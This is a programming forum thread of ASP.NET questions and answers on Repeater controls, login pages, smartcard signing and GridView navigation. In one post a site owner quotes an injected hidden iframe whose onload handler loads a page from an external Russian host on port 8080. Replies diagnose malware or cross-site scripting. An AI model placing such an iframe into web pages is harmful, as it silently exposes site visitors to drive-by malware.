|
AndyInUK wrote: Any ideas ?? - how can i access lst globally to be able to replace it with chboxlst ID.
If it's databound like this, you don't HAVE one checkboxlist. You have one for each item. Where do you want to access it ? If in a check changed event, that should be passed the control in question. If in page prerender, you could generate a list of checkboxlists as each is data bound.
Christian Graus
Driven to the arms of OSX by Vista.
Read my blog to find out how I've worked around bugs in Microsoft tools and frameworks.
|
|
|
|
|
Sorry but i didn't got you.
Ok i will try to explain the problem. There was a checkboxlist already present and chkbxlst(ID of that checkboxlist) is called in various places in code behind. Now if i cut copy the same checkboxlist control and add it under repeater control then i can not access chkboxlst id from code behind.
So what should i do so that i can call find and call chkbxlst id in code behind in all the places.
I hope it's bit clear now.
|
|
|
|
|
AndyInUK wrote: I hope it's bit clear now.
Very clear. It is obvious you need to read up on how to use repeater controls.
|
|
|
|
|
Oakman wrote: It is obvious you need to read up on how to use repeater controls.
I don't mind doing that but i can't find any tutorial which deals with similar situation like mine. Can you direct me to any ?
|
|
|
|
|
You can probably find something by Googling "repeater control checkbox."
The short answer is that once you add a control to a repeater, you can't access it directly since there could be many copies of that control. You have to find the item in the repeater you want (for each is a common method for doing this), and then write something like,
Dim theCheckbox As CheckBox = CType(e.Item.FindControl("aCheckBox"),CheckBox)
or
CheckBox theCheckbox = (CheckBox)(e.Item.FindControl("aCheckBox"));
btw: my first response came across as more snippy than I meant it to be.
|
|
|
|
|
If you read my original post - you will see that i know we need to find the control in repeater and the reason i added the bit of code for it to work.
But the whole problem is - aCheckBox is used at various places in the code behind. So that means it will generate error in all those places where i used aCheckBox. Now according to your suggestion and the one i did - i am finding that control under the common method and now outside this method i won't be able to find the control again. So what would be the best way in this case. Do i have to change the entire code where i have used aCheckBox or any other alternative.
|
|
|
|
|
Would it work to declare aCheckBox as a global variable and then instantiate it in the common method? If you need to refer to more than one at a time, I'd use the common method to create a collection.
|
|
|
|
|
Hi All,
I have developed a website using asp.net. The problem is someone was write for unwanted content in my two pages like default & home pages. When go to my url it open a login page. Once the user will give valid input then i will redirect the default page. And next to go to Home page.
The following text was write in my site.
<iframe frameborder="0" onload="if (!this.src){ this.src='http://testossteron.ru:8080/index.php'; this.height='0'; this.width='0';}" >wnwoccykiicptwlnvyhdhlbctpxyvqw</iframe>
This text was write on after body tag.
How this text was write in my default page and how to avoid this type of issues?
Please Help Me
|
|
|
|
|
Seems like your web pages infected by a malware. You contact your host providers for further assistance. Another possibility is that the cross site scripting. Do you validate the user inputs?
|
|
|
|
|
Thank your post.
I did validate for two input boxes.
|
|
|
|
|
I think its a Trojan Attack in the server. Are your server is not protected from Antivirus or Security softwares ?
If not, buy one and install it immediately. These are to steal important data from your server.
Check this
Malicious Script[^]
|
|
|
|
|
Can anybody please tell me how to code for user login.(ie.,)the window should have a 1.username field
2.password field
3.ok button
4.cancel button
|
|
|
|
|
Try here[^]
only two letters away from being an asset
|
|
|
|
|
|
let me know how to code in ASP.NET using c# for creating user login window
|
|
|
|
|
What is the problem with this ??
You can use asp:login
|
|
|
|
|
Please suggest me with a good example
|
|
|
|
|
|
gkarthikeyan1987 wrote: Please suggest me with a good example
Maybe yo should give us your teacher's email and we'll send the code direct, that way you won't have to waste any time copying it.
|
|
|
|
|
In my web application ,i wanted to sign a document using smartcard at the client side and verification at the server side.
I have done this by using capicom activex objects in javascript.but for a small string also it gives the signed output of more then 3000 charactes.
If anyone has already done this process,please give me your valuable suggesion/input.
Is there any alternate for capicom,to use in web application?
Thanks and regards,
Ramba
|
|
|
|
|
i have a gridview for which columns are autogenerated.
i used a datatable to bind the values to grid.
now i want to select a cell.on click of this cell the page should be navigated to other aspx page and along with it carry the cell data and cell column header value also.
for cells that does not have any values i want multi selection of those cells
|
|
|
|
|
So what have you tried?
AFAIK, you will need to add an onclick event (javascript) of each of your gridview cell. From there, you will have to do a manual submit. You will also need to set a hidden field that will let you know that the postback was caused by the gridview cell click.
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
|
I don't think so. OP has used datagrid in subject and gridview in the post. I went with the control in the post i.e. gridview. Although I should have asked if it is a DataGrid or a GridView.
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
A HyperlinkColumn is used to allow navigation to another resource. You can attach additional information needing to be passed to the the other page using the query string for this link. Depending on what you sending to the next page it may be better to pass an ID and look up the info on the page.
http://aspnet.4guysfromrolla.com/articles/040502-1.aspx[^]
only two letters away from being an asset
|
|
|
|